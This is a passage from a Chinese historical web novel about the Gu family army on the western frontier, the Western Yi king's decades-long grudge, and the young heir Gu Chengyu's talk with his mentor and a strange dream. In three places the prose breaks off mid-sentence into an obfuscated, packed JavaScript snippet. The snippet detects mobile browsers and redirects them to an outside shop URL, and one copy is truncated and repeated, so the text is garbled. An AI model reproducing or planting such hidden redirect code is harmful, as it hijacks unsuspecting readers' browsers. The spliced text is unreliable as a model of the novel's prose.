顾恩看见那封信时,微微有些诧异。他盯着信看了一会儿——信封上那方御玺的红印在夕阳下格外醒目,旁边是皇上亲笔写下的“顾恩亲启”四个字,笔迹苍劲有力。他没有立刻说话,最终还是伸出手,接过了那一封带着御印的信件,然后慢慢打开。 信纸被展开时发出轻微的声响。西疆的风从沙枣树的枝叶间穿过,吹得信纸微微晃动。顾恩的目光在字里行间缓缓移动,信上的字不多,却字字沉实—— “顾恩,朕蒙尘的眼睛,已擦亮。西部边陲,交给你,朕很放心。婉清和顾家的人,交给朕,也请你放心。” 顾恩看完,双手垂在身侧,手里的信被风吹得摇来摇去,纸张在风中发出轻微的哗啦声。 他沉默了很久,久到夕阳又沉下了一截,久到沙枣树的影子挪了半寸。其实这一封信,对他来说,皇上真的没有写的必要。因为他顾家从未有过二心,从未有过想让箫行健当上皇帝的野心。那些被猜忌的日子,那些被冷落敲打的日子,他顾恩只是在心里默默地记下了,然后继续站在这座关隘上,寸步不让。 他也知道,皇帝是个明君——一个在成长过程中受到蒙蔽的明君。任何一个人,在成长的过程中,都会有双眼迷失方向的时候;只要知道错了,只要重新回到正确的道路上,那便依旧是一个堂堂正正的人。天子也不例外。 顾典凑过来看了一眼大哥,急切地问道:“大哥,那箫衡信上写的什么?” 顾恩将手抬起,把信件递给了弟弟。 顾典赶紧接过去,目光扫过那几行字。看完之后,他把信纸往怀里一揣,从鼻子里哼了一声,脸色却分明缓了几分:“还算有点良心。不过就这一封信,就想把六年前的事一笔勾销?也未免太便宜他了。” 顾恩侧过头看着弟弟,声音沉稳而平静,字字都带着分量:“陛下当年忌惮顾家,冷落顾家,如今回过头来看,并非全是坏事。高处不胜寒,树大招风。越是被抬得高,越是被陛下宠幸,越会成为众矢之的——所有明枪暗箭都会对准你,所有的人都会想方设法把你拉下来。而摔下来的时候,不是断手断脚,直接就是粉身碎骨。婉清被解除禁足后,朝中一些别有用心之人便上书劝皇上好好补偿顾家,还要将父亲的牌位移入太庙,配享功臣祠——那方家的党羽一个比一个说得动听。可陛下没有同意。陛下没有顺着那些人的台阶往下走,这何尝不是在保护顾家?那件事若是真成了,顾家便成了方家眼中最大的靶子,届时方雍不除顾家,寝食难安。” 他顿了顿,目光望向远处关山的方向:“如今婉清的处境——不被宠幸,不被抬高,安安静静地在翠微宫里过自己的日子——无论是对她们母子来说,还是对顾家来说,都是最安稳的。越不被推上风口浪尖,就越安全;越被冷落,就越自在。后宫那些女人的手段有多狠,你不是不知道。只是苦了婉清。那只曾经在西疆草原上空任意飞翔的鸟儿,被剪下了翅膀,关在那座金丝笼里。那笼子再华丽,再富贵,终究是笼子。她与外面的自由,彻底没了关系。” 顾典看着大哥,嘴唇动了动,声音忽然有些沙哑:“只是可怜了婉清。也可怜了青山,如今三十二了,依旧孑然一身。若是婉清当年不回京,她与青山一定是幸福的一对。你看当年他们在草原上赛马——婉清骑那匹枣红马,青山骑那匹黑马,两匹马并驾齐驱,谁也不让谁。那时候婉清笑得可开心了,整个草原都是她的笑声。青山看她的眼神,大哥你难道没注意到吗?婉清冲过终点的时候,青山比她还高兴,把自己的水囊递过去,手都在抖。” 顾恩长长地叹了一口气,沉默了很久才开口:“这个没有办法。缘分一事,万般不由人。当年婉清还是个傻乎乎的姑娘,心里只有骑马射箭,只知道追着风跑,根本不明白青山对她的那份情谊。青山这个人也是——明明每次训练都故意跟在她后面,明明每次她受伤都是第一个跑过去扶她,明明眼里的心思全写在脸上了,可就是不开那个口。如果他早些向父亲开口,父亲一定会成全他的。” 顾典听了,垂下眼帘,低声说道:“是啊。一切都是命,万般不由人。等青山终于鼓起勇气开口时,圣旨已经下来了。他在父亲的书房外站了整整一夜,天亮了,人走了,什么都晚了。” 兄弟俩沉默地站在沙枣树下,谁也没有再说话。夕阳终于完全沉入了地平线,暮色从四面八方涌上来。那一刻他们都在想同一个姑娘——那个曾经在西疆的草原上自由飞翔的姑娘,如今困在了那座天下最华丽的牢笼里。也在想同一个人——那个沉默寡言、在战场上从不退缩的男人,如今三十二岁了,依旧一个人守着边关,每次巡防时都会独自在当年赛马的草原上驻马良久。 随后三人敛起情绪,转身朝着军医帐走去。林太医是顾家的恩人——他救过老侯爷的命;他救过顾恩的命,那次顾恩从马上摔下被拖行了数十丈,浑身是血,所有军医都摇头,是林太医守了他三天三夜把他从鬼门关拉了回来;他救过顾典的命,那次顾典中了敌军一箭,箭簇淬了毒,伤口溃烂发黑,是林太医亲自用刀剜去腐肉,又用嘴一口一口吸出毒血。如此大恩大德,怎能不亲自拜见?顾恩和顾典走在前面,顾承宇跟在后面,三人穿过已经亮起点点篝火的营地,来到了军医帐外。 还未进帐,他们便看见顾大夫人、顾二夫人和顾子衿正在忙碌地熬制药膏、分拣草药。三个女人挽着袖子,脸上沾着药渍和烟灰,却干得热火朝天。顾恩和顾典站在帐外看了一会儿,嘴角都浮起了笑意。 随后顾恩和顾典掀帘进入军医帐中。林太医正坐在一张简陋的木桌前,借着油灯的光整理医案。他抬起头,看见两位将军亲自到来,连忙起身。 顾恩和顾典上前一步,并肩向林太医深深行了一礼。林太医赶紧扶起他们,摆手说不必如此。几人坐下聊了很久,从老侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618728|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷在世时那些烽火连天的岁月,说到如今西疆的战事,说到顾子衿在太医院刻苦学医的事。 当顾恩和顾典提到救命之恩时,林太医摆了摆手,苍老的面容在烛火下显得格外平和:“救死扶伤,是医者的职责。我能把你们救活,不是我的医术有多高超,而是你们命不该绝。阎王爷不收你们,我不过是在旁边递了把手罢了。” 当顾恩提到父亲时,林太医沉默了片刻,眼里闪过一丝深沉的悲痛。老侯爷的事,他至今仍有自责。虽然他也知道,当时老侯爷的伤——浑身上下中了十七支箭,五脏俱损——即使是神仙来了也无力回天。可毕竟,老侯爷是死在他手里的。他这一生救过无数人,唯独没有把老侯爷从阎王爷手里抢回来。” 一阵长久的寒暄后,待到顾恩他们走出军医帐时,黑夜已经完全降临。西疆的夜空澄澈无比,银河横贯天际,繁星密密麻麻地挤在一起,比京城任何一夜的星空都要壮丽。 顾典早就按捺不住了,一出帐门便拉着顾二夫人,脚下生风地朝着自己的军帐而去。顾二夫人被他拽得几乎小跑起来,脸上绯红一片,嘴里嗔怪着“你急什么”,手却把他攥得更紧了。 顾恩、顾大夫人、顾承宇、顾子衿一家四口在月色之下缓缓前行。营地里篝火点点,远处传来巡逻士兵换岗时的口令声,夜风从草原上吹来,带着几分凉意。 顾子衿骑在父亲的肩上,两只小手扶着父亲的头盔,居高临下地看着整个营地的灯火,兴奋地说“父亲你看那里,像不像天上的星星掉到地上来了”。 顾承宇挽着母亲的手臂,放缓了步子配合母亲的速度,一路欢声笑语。 当他们走到一处开阔地,远处的关山在月色中露出了深黑色的轮廓——那座沉默的山峦静静地卧在天边,像一尊永不倒塌的丰碑。 四人同时停下了脚步,同时望着远处那座沉默的关山,也同时安静了下来。笑声戛然而止,只剩下夜风吹过沙枣树的声响。 他们都知道彼此在想什么——如果顾承明还活着,那该多好。一家五口,整整齐齐的,该多好。没有人说出这句话,可所有人都听到了这句话在沉默中的回响。 顾典的军帐周围,阿牛早就把哨兵撤走了。他一个人坐在离军帐很远的一棵大树下,两只耳朵里塞满了碎布,仰头数着天上的星星,嘴里默念着“今晚的星星可真多啊”。 军帐里没有点灯,只有月光从帐顶的缝隙里漏下来,照着地上凌乱的衣衫。 顾典犹如一头被关了两年的饿狼终于见到了肉,把顾二夫人折腾得精疲力尽,直到她连话都说不出来,只是搂着他的脖子软软地喘息。他俯在她耳边说了一句“两年,你欠我的,今晚都补上”,然后又一次压了下去。 而顾恩的军帐里,烛火明亮。帐帘半卷着,从帐中可以直接望见远处那座在月光下沉睡的关山。 胡风在走之前特意把帘子卷了起来——他知道将军每晚都会坐在帐中,看着关山的方向。 烛火在灯盏里静静地燃着,将四个人的影子投在帐壁上。顾大夫人坐在凳子上,手里拈着针线,给丈夫缝补裂了口子的战袍,针脚细密而稳当,每缝几针便会抬起头看一眼帐外的关山。 顾承宇坐在一旁,就着烛火翻阅一本边角起毛的兵书,偶尔抬笔在页边批注几个字,眉头微蹙。 而顾恩则是握着女儿的手,提起毛笔,一笔一画地教她写字的笔锋和骨架。 顾子衿的手被他握在掌心里,那只握了几十年战刀的大手粗糙而温暖,将一个小小的人儿的手护得严丝合缝。 她写的字已经比初学时好了太多,哥哥说她的笔锋有了几分祖父的风骨。 军帐的门就这样敞开着,正对着关山的方向,正对着顾承明长眠的方向。 夜深了,偶尔有巡逻士兵的脚步声从远处传来,而帐中的人始终没有人说话,只是各自做着手头的事。 可沉默里,有一种比任何言语都更深的陪伴——那是活着的人在替回不来的人,继续好好地活着。 49. 西夷王,与顾家军的恩怨 西夷王离开王庭后,一直向东挺进。他带着五部联军的精锐,浩浩荡荡地穿过了戈壁、草原、连绵起伏的丘陵,沿途几个小部落望风而降。 他离王庭越来越远,身后的草原渐渐变成了山地。当他到达阴风山——这座位于西夷与宁国交界处的界山时,他却突然停了下来。大军就在山脚下扎了营,一扎就是数日,丝毫没有继续推进的迹象。 夕阳西下之时,他独自登上了阴风山的山顶。山风猎猎,吹动着他黑色的王袍,袍角在风中啪啪作响。 他站在那块鹰嘴般的巨岩上,望着远处宁国境内那座隐约可见的烽火台。那座烽火台矗立在山脊上,在如血的残阳里如同盘踞的龙,他认得它——那就是顾家军的狼牙关隘。 他已六十,须发已大半花白,脸上的皱纹像刀刻一般深,每一道纹路里都藏着风沙和征战。可他的身躯依旧雄壮得像一头勇猛的山君,胸膛宽阔,脊背挺直,站在山巅如同玄铁铸就的塔。 他打了半辈子的仗,灭了不下十几个部落,双手沾满鲜血,脚下踩过的白骨数不胜数。可他的眼神里丝毫没有老态,只有一种不知疲倦的、野兽般的贪婪——那种贪婪比年轻时更浓烈,也更焦灼。 因为留给他的时间,不多了。 三十二年里,他与顾家军交手四次。四次,都大败而归。 这成了他心中的刺——一根扎了三十二年、越扎越深、从未拔出过的刺。在西夷草原上,他是战无不胜的王,所有人都匍匐在他的王帐前,他的每一次出征都是一场凯旋。 可是在顾家军面前,他却是一个失败者。对于一个有极强胜负欲的王来说,这就是一种奇耻大辱——比丢了疆土更让人夜不能寐,比折损兵马更让他咬牙切齿。 顾稳在时,他败给了顾稳三次。 第一次,他遇上已被称为“宁国铁壁”的顾稳。当时他二十八岁,雄姿英发,刚刚统一草原大半个部落;顾稳也是二十八岁,刚刚从父亲手中接过了顾家军的战刀。那一仗他败得心服口服——顾稳用兵如神,阵法变幻莫测,他的铁骑被包了饺子,损失过半。他带着残兵退回王庭时,第一次尝到了失败的滋味。 第二次,他三十八岁,顾稳也三十八岁。他做了完全的准备——研究了顾稳的每一种阵法,摸清了狼牙关的每一处地形——可是还是败了,败在顾稳临阵变阵的那一刻。不过,他虽败了,却带走了顾稳二儿子的命。那一战之后,他收到了一封来自顾稳的信,信上只有八个字:血债血偿,不死不休。 第三次,他五十岁,顾稳五十岁。他用了西夷一半的兵力。那一仗杀得天昏地暗,尸横遍野,他终于拼了半条命把顾稳射死在乱军之中——那十七支箭,是他亲自下令放的。 他亲眼看着顾稳浑身是箭,摇摇晃晃地从马上坠落了下去。主将战死,他本以为自己赢了——杀了顾稳,宿怨终于了结——可当他看着那些主将战死却依然不退半步的士兵时,他明白了:顾稳虽然死了,可顾稳的魂还在,顾家军的军旗依旧在城头飘扬。那些士兵反而带着震怒,将他从狼牙关隘打退,逼得他撤军而归。 这场战争,他再次输了,不过顾稳战死,顾稳的三儿子也战死。他撤军的那个夜晚,在马上回头望了一眼狼牙关,看见城头那面顾家军的军旗还在夜风中猎猎作响。他发誓,一定要拔下顾家军的军旗。 四年后,他又重新集结兵力再次卷土重来,抱着必胜的信心挥师东进。可是他被顾恩——顾稳的儿子——打得狼狈逃窜。那个年轻人提着父亲传下来的战刀,用父亲教他的阵法,把他的铁骑再一次挡在了狼牙关外,把他打得溃不成军。不过,顾恩的儿子顾承明战死。 他带着溃逃的士兵逃回王庭,跌跌撞撞地跪倒在帐中,抬头看见帐顶那面他亲手挂上去的狼图腾——那是他的信仰,是他这辈子所向披靡的象征。他不甘心。他绝不认输。他一定要养精蓄锐,一定要集结所有的兵力,将顾恩打败。 他恨顾家军,可他骨子深处对顾家军的感情远比恨更复杂。 他的父王,也曾带领铁骑攻打狼牙关。那一战,父亲攻破了狼牙关,将宁国副将陈平一刀砍死在马上,血溅战旗。 可当父亲抱着必胜之心进入阳城关时,却在那里遇上了十八岁的顾稳。 顾稳用精妙的阵法将父亲所有的军队一一击溃,铁骑陷在陷马坑和绊马索中进退不得,步兵被分割成几块各自为战。父亲输得心服口服,被这个少年的用兵之才深深折服。后来,父亲与宁国修好,表示至死不再犯宁国。 他记得父亲临终前拉着他的手,用最后一口气说:“宁国有顾家,不可轻犯。” 后来父亲过世,他当上了西夷的王,准备了几年,便单方面撕毁了父亲亲手签下的盟约,挥师东进攻打宁国。他要用自己的铁骑证明,父亲输给的顾家军,他来打败。 其实,某种程度上来说,他这次攻打宁国,与其说是为了宁国的疆土和财富,不如说是为了与顾恩一较高下。 这是一场横跨了两代人的宿怨——他输给了顾稳三次,输给了顾恩一次,这辈子最大的对手,都姓顾。只要顾恩还站在狼牙关隘上,只要顾家军的军旗还在西疆的风中飘扬,他就觉得自己这辈子所有的胜利都是不完整的。他要的是宁国的土地,更是亲手把那面顾家军的军旗从城头拔下来。 暮色降临,山风转冷,远处营地的篝火次第亮起。他回到军帐中,帐内灯火通明,几个得力将领已经在帐中等候。其中一个跟了他最久的将领左将军拉杜上前一步,躬身说道:“大王,这次为了战胜顾家军,我们是否可以——去附近村庄抓一些宁国百姓,作为人肉盾牌,推到阵前开路?顾家军从不杀无辜百姓,这一招他们防不住。” 这是西夷王第三次听到这个提议了。前两次,都是同一个人提的,都是在不同的战场,不同的夜晚。每一次他都严词拒绝,这一次也一样。 他坐在那张铺着兽皮的椅子上,手指缓缓敲着扶手,沉默了很久。然后他抬起头,看着自己的左将军,声音不高,却有一种王者才有的骄傲与坦荡:“本王与顾家军交战四次,四次都败了。这三十二年来,顾家军从未使过什么阴谋诡计,凭借的是真本事、真刀枪。顾稳没有用过,顾恩也没有用过。顾家军虽是劲敌——本王恨,恨得咬牙切齿,恨不得亲手割下顾恩的头颅挂在王帐顶上— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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校场之上,杀声震天。钱副将、颜副将、余副将和几位须发全白的老将都在亲自操练自己的士兵。顾家军个个都是嗷嗷叫的野狼,眼里满是杀气,手里的长枪、战刀在阳光下疯狂挥舞,闪耀者寒芒。 弓箭手方阵前,校尉们不断地向空中抛起装着泥土的圆形草袋,弓箭手们将手里的弯弓拉成满月,箭矢如飞蝗般破空而去,噗噗地扎穿了空中翻滚的草袋。校尉不停地抛,弓箭手们不停地射——战场上没有时间瞄准,所有的准头都要练成本能,做到抬手就射,一射就准。 顾恩与薛敬则是在中军帐中,在沙盘前一遍又一遍地推演那些制定好的战术。薛敬的竹竿在沙盘上缓缓移动,不时在某一个关口停下,提出新的变数;顾恩抱着双臂站在沙盘前,眉头紧锁,在反复琢磨每一个环节的衔接和每一种突发情况的应对。 顾典和顾副将各自带领一支轻骑,快马加鞭地赶往战场方圆百里的村庄,继续劝说村民暂时离开家园,撤入阳城关后的安全地带。 那些世代耕作在这片土地上的人们背着简单的行囊,赶着牛羊,推着独轮车,回头望着自家的土坯房和院子里那棵还没结果的老杏树,一步三回头地踏上了通往阳城关的山路。 顾承宇与青山两人带着一队斥候,轻装简行,马蹄上裹了布,悄无声息地出发了。 他们要去刺探敌军的军情——西夷王为何突然停下了脚步,到底在等什么?阴风山的驻防有什么破绽?那十万黑色铁骑如今驻扎在什么位置?青山对这一带的地形了如指掌,闭着眼睛都能在山道上疾驰;顾承宇则像一头年轻的猎豹,目光锐利而沉静,将沿途每一个细节都烙进了眼底。 50. 顾承宇,梦见宋含章 日升日落,草原上的风从清晨的凉意吹到正午的灼热,又从正午的灼热吹到傍晚的微凉。 青山与顾承宇等人策马穿过了几道干涸的河谷,翻越了几座低矮的石山,却始终未能刺探到西夷王的核心军情。 不过,顾承宇并不着急,因为他有那个有着千里眼和顺风耳的招财。 天黑之时,顾承宇和青山他们找到一处背风的草窝,在几块嶙峋的巨石之间,野草长得齐腰深,是个藏身的好地方。几人吃了干粮、喝了水,便倒在草窝里,看着头顶那片浩瀚的星辰。 西疆的夜空澄澈如洗,银河横贯天际,繁星密密麻麻地挤在一起,像是谁在天上撒了一把碎银。 顾承宇双手枕在后脑下,眉头压着眼睫,翘着二郎腿,嘴里衔着一根干草,那根草随着他的呼吸微微晃动。他望着头顶的星河,不知在想什么。 青山躺得中规中矩,双手交叠在腹前,两条腿笔直地并拢着,那是多年行伍养成的习惯——任何时候都不能松懈到爬不起来。他那两道浓眉之间,挂着一团永远都无法消散的浓愁,即使是这样的星夜,即使是这样的宁静,那团愁绪也没有淡去半分。 顾承宇忽然开口,声音很轻,像是在问一件他想了很久的事:“师父,你为何不成亲啊?” 被这么一问,青山的心仿佛被一把钝刀狠狠揪了一把。他沉默了很久,久到顾承宇以为他不会回答了。 他想起了那个明艳一笑就前仰后合的女人——她骑在枣红马上,一身绯色骑装,长发在风里飞扬,笑得毫无遮拦,笑得整个草原都跟着她一起亮了起来。那笑容像一把刀,插进他心里最柔软的地方,插进去的时候不觉得疼,拔出来的时候才知道已经生了根。 他这辈子最后悔的事,就是没有跟顾婉清表明自己的心意。那时候他还只是一个普通的小兵,每天站在校场上操练,看着她从营帐那边策马而过;而她是侯府唯一的千金,是天上的星辰,是草原上所有少年郎梦里都不敢攀折的花。 他觉得自己配不上她,一个没有军功、没有家世、没有官职的小兵,凭什么去向侯府的独女表明心意?于是他便一直将这份情藏在心里,藏在每一次她策马经过时他微微侧过去的脸上,藏在每一次她受伤时他第一个冲过去。 等到他立了功、当了斥候队长,终于有了几分勇气时,她已经回了京城,参加了一场赛马会,被皇上一道圣旨招进了宫。等他赶到京城时,什么都晚了。 他转过头,看着身边这个年轻的徒弟,声音沙哑而缓慢,每一个字都像是从心尖上碾过去的:“承宇,倘若有一天,你遇见了自己喜欢的姑娘,一定要赶紧表明心意。不要管什么身份,不要管什么配不配,直接说出来。因为脚步是向前的,没有人会一直在原地等你。一旦错过了,就是一辈子。” 顾承宇听了,内心微微一动。那根衔在他嘴里的干草停住了晃动。他自然知晓师父心里藏着的、念着的人是谁——他见过姑姑年轻时在西疆草原上策马的画像,那是姑姑的小像,画上的姑娘笑得像一团火。 而师父从十几岁起就在顾家军中,从一个小兵做到了最精锐的斥候。两个人之间的距离,差的不只是门第和身份,差的是那一句从未说出口的话。他没有点破,只是顿了顿,又问了一个更轻的问题:“师父,请问——什么叫做喜欢?” 青山若有所思,他抬起头,望着头顶那片星河。星辰不语,只是静静地眨着眼。良久,他回答说,声音像是从很远很远的地方飘过来的:“喜欢就是——一见到她,你就会笑。一见到她,你的心就如同战鼓一般,咚咚咚地擂起来,你想压都压不住。” 顾承宇听了,不再说话。他想起宋行简在顾府的书房里,红着耳朵、摸着脑袋说出的那句话——“初见,已心跳不止。一眼万年。不用刻刀,便已将她刻在心上,生生世世都忘不掉了。”他还不明白那是什么感觉,只是在烛火下看着好友那张羞涩的脸,觉得既好笑又羡慕。 他毕竟正值年少,虽然在战场上沉稳果决,杀伐决断从不犹豫,可那颗十七岁的心,在夜色和星辰的包裹下,还是忍不住渴望遇见那样一个女子——一个能让他心跳如战鼓、一眼便刻在心上的人。 青山见顾承宇不言不语,只是盯着头顶的星空出神,便坐了起来。他低头看着眼前这个从不谈论情爱的徒弟——这孩子平日里只谈阵法、兵书、战事,从不在任何女子的话题上多停留片刻,今夜却破天荒地开口问了这么多。青山问道:“承宇,你是不是遇见了喜欢的姑娘了?” 顾承宇并未起身,他依旧仰面躺着,双手枕在脑后,翘着二郎腿,那根干草在他嘴角晃了晃。他看着头顶的星辰,语气平淡而笃定:“没有。京城的那些贵女——要么太沉静,没有灵魂,像一潭死水,风都吹不起涟漪;要么骄横,一副惹不起的感觉,走到哪里都带着一堵看不见的墙;要么一句话真假参半,矫揉造作,笑是摆好的,话是掂过的,你不知道她哪句是真的。” 青山看着他,嘴角浮起一丝难得的笑意。这孩子把京城贵女看了个通透,也难怪顾老夫人挑了十几幅画像都被他一一拒绝了。他说:“你只是缘分未到。不过,承宇,你一定要记住,等有一天遇见了喜欢的姑娘,一定要大胆一些。不要像师父一样——把话藏在心里藏了半辈子,到头来只能对着星辰说。” 顾承宇沉默了一瞬,然后问,声音里带着一种不属于他这个年纪的认真和一种只有少年人才有的执拗:“如果遇不见呢?” 青山看着他那副认真的模样,冷笑一声,重新躺了回去,双手枕在脑后,望着星空懒洋洋地说:“那就找一个门当户对的成亲,不管喜不喜欢,先生几个孩子再说。感情嘛,处着处着就处出来了,多少夫妻不都是这样过来的。再有你这般相貌——宁国第一美男子不是我封的——又有这般家世,宁安侯府世子,少将军,将来是要继承军旗和战刀的人,何愁找不到好姑娘。满京城的媒人怕是把你家的门槛都踏破了。” 顾承宇坐了起来,盘腿坐在草窝里。夜风吹过他的面庞,将他额前的碎发吹得微微晃动。他望着远处那片在月光下泛着银光的草原,声音不高,却有一种从骨子里透出来的笃定,像是在说给自己听,又像是在对着这片天地起誓:“师父,我想要的不是举案齐眉、相敬如宾。夫妻之间如果只剩下礼数和客套,那和上朝有什么区别?我想要的是那种——可以一起打闹、可以一起并肩而立,在战场上她能和我背靠背,在家里她能跟我抢最后一块红烧肉。长得漂亮,性子好,又武艺高强,一见面就生生世世忘不了的人。” 青山听了,先是沉默了片刻,然后冷笑一声,侧过头看着顾承宇,那目光里有几分无奈,也有几分对年轻人不知天高地厚的嘲弄:“你别太贪心,既要模样好,性子好,又要武艺高强,还要一见倾心。这四样占两样都是老天爷格外开恩了。这个世间,你不能既要又要。除非——你多娶几个,然后把她们综合起来看。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618730|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾承宇立马转过头,语气斩钉截铁,毫无回旋余地:“顾家男子不许纳妾。即使可以纳妾,我也不会。我想要的是一城、一人,生生世世只爱一个人。我父亲一辈子只有我母亲,我二叔一辈子只有二婶,我也要像他们一样。” 青山摇了摇头,重新仰面躺下,望着头顶那片浩瀚的星河。他的声音在夜风里飘散开来,带着几分过来人的沧桑,也带着几分对命运无常的感慨:“你是侯府世子,将来是要继承宁安侯府的,是要接过顾家军军旗、接过老侯爷战刀的人。再说了,都说上辈子千百次回眸,才换来今生的擦肩而过。你想要遇见喜欢的人,只怕是把脖子都扭断了,才有可能过上一生一世一双人的逍遥日子。承宇,这是人世间,不是天上。不是所有的故事都有圆满的结局,不是所有的人都等得到自己想要的那个人。”说完,他闭上眼睛,将那些翻涌的往事重新压回了心底。 顾承宇也重新躺下,双手枕在后脑下,望着头顶那片深邃的星空,闭上了眼睛。夜风吹过草窝,将白日里被烈日烤得干燥的野草吹出沙沙的声响,远处隐约传来几声狼嚎,那是草原上夜里最常见的声音。他慢慢地、一点一点地坠入了梦乡。 夜,越来越深。星辰越来越亮,银河仿佛就悬在头顶,伸手就能捞起一把星光。 顾承宇开始做起了梦。 梦中,宋含章正拿着一根粗麻绳,走到一棵歪脖子老树前,将绳子甩过一根粗壮的树枝,打了个死结。她站在树下,把那绳圈往自己脖子上一挂——可因为她的体重太重,绳子咔嚓一声断了,她摔了个屁股蹲。没死成。她从地上爬起来,拍了拍屁股上的草屑,面无表情地看了一眼那根断掉的绳子,扔到一边,转身走了。 没一会儿,她来到一座深山之中,手里握着一根坚硬的木棍,正在与一条巨蟒对峙。那巨蟒粗如水桶,鳞片漆黑发亮,眼中泛着幽绿的光。巨蟒甩尾扫来,她来不及躲闪,被一尾扫中腰侧,整个人如断线风筝般飞了出去,重重撞在崖壁上,又重重地落在地上,嘴角沁出了一缕鲜血。 可是,宋含章并未流泪,她用手背擦掉嘴角的血迹,撑着木棍重新站了起来。她握紧了木棍,朝着巨蟒继续冲了上去。巨蟒再次卷来,用粗壮的身体将她紧紧缠住,勒得她浑身的骨头咯吱作响。 那巨蟒张开血盆大口,腥臭的气息扑面而来,准备将她一口吞下。宋含章咬紧牙关,双手抓住巨蟒上下颚的边缘,双臂猛地向外一撕,直接把巨蟒的嘴给撕烂了。鲜血喷溅了她一脸,巨蟒轰然倒地。没一会儿,她浑身是血,扛着那条死去的巨蟒,一步一个脚印,跪在了九鼎门的山门前…… 顾承宇猛地被惊醒。他大口喘着气,额头上沁出了一层细密的冷汗。夜风还在吹,星河还在头顶流淌,身边的青山已经发出了均匀的呼吸声。 他摸着自己的额头,那颗心还在胸腔里咚咚地跳着,像一面被擂响的战鼓。他梦见宋含章了——那个他只在沈府假山后面只见过一面的胖姑娘。 他梦见她上吊没死成,梦见她用木棍与巨蟒搏斗被甩在崖壁上,梦见她用手撕烂了巨蟒的嘴,梦见她扛着巨蟒跪在一座山门前。那些画面杂乱而清晰,每一个细节都像是亲眼所见,而不是梦里的幻影。 他坐起来,望着远处月光下泛着银光的戈壁,嘴里喃喃自语,声音很轻,却被夜风送出去很远:“宋含章,九鼎门。” 他不明白自己为什么会梦见她,更不明白那个梦里的胖姑娘! 51. 凭借脚印,发现踪迹 第二日,晨光初起,铺满了整个草原。金色的光从地平线上漫过来,将每一根草叶上的露珠都照得晶莹剔透。 草窝里的青山已经醒过来,他立于草窝旁的一个山头上,迎着那轮缓缓升起的红日,晨风拂过他鬓边的碎发。 那轮红日磅礴而炽烈,从地平线下喷薄而出,将半边天都烧成了绯红。这热闹磅礴的气势,让他想到了顾家军——那支他跟随了十八年子的军队,每一次出征都是这般轰轰烈烈,不破敌人终不还。 此时,他也在等待手下的斥候带着军情归来。那些跟随了他多年的弟兄们,此刻正分散在方圆百里的每一条山道、每一座村庄、每一片戈壁上,他们是他撒出去的网,总会捞回来他需要的消息。 顾承宇也慢慢睁开了眼睛。晨光透过草叶的缝隙落在他的脸上,他没有忙着起身,而是仰面躺着,睁开眼睛看着那片被晨光染成淡金色的天空,脑子里还在想昨晚做的那个梦。 九鼎门、宋含章。他梦见她上吊绳子断了,梦见她与巨蟒搏斗被甩在崖壁上,梦见她徒手撕烂了巨蟒的嘴,梦见她浑身是血扛着那条巨蟒跪在一座山门前。 那些画面一帧一帧地在他脑海里回放,每一个细节都历历在目,不像是梦,倒像是他亲眼看见的。 他的梦一向很准——小时候梦见弟弟承明中箭的位置,后来承明果然在那个位置受了伤;出征前梦见父亲站在关山上的背影,到了西疆果然看见父亲站在狼牙关隘上。 等刺探军情回去后,他得给京城的宋行简去一封信,让宋家人去江南的九鼎门看一看,也许宋含章就在那里。 这时,空中飘来了一声声清脆的鸟鸣。那鸟鸣三长两短,在清晨的草原上空回荡,旁人听来不过是晨起的鸟儿在枝头欢鸣,但在顾承宇听来,这声音是他的心腹招财发出的暗号。 他的这个心腹,虽然身材瘦小,站在人群里毫不起眼,但身手异常灵活,那一双眼睛是千里眼——百步之外的蚂蚁他都能看见;那一双耳朵是顺风耳——隔着半个营地都能分辨出铠甲摩擦的声音。 只要招财经过的地方,任何事物都别想逃过他的眼睛,任何声音都别想逃过他的耳朵。他是顾承宇亲手训练出来的斥候中最出色的一个。 前几日刚靠近边关,顾承宇便让招财带着几名轻骑悄悄离开了押送粮草的队伍,没有跟任何人打招呼。那招财去了哪里呢?答案很简单——当然是去刺探军情去了。还未到达西疆时,收到消息的顾承宇就觉得西夷王停在阴风山的行为太过反常,他需要一个能信得过的人去替他看清楚那些沙盘上看不到的东西。 鸟鸣声声,三长两短,响彻在空寂的草原上空,传出去很远。顾承宇将手指放在嘴里,鼓足气息,回了几声鸟鸣——两短一长,是对招财的回应,意思是“安全,速来”。 不远处的招财听见了回应,确定了公子的位置,便如同一只猎犬般迅速朝着顾承宇的方向靠拢。 此时青山转过身来,望着那鸟鸣传来的方向,嘴角浮起一丝难得的笑意,声音里带着几分由衷的赞许:“你这个招财,真是千金不换。我带了半辈子斥候,还没见过谁有他这双耳朵。这家伙是天生的斥候料子。” 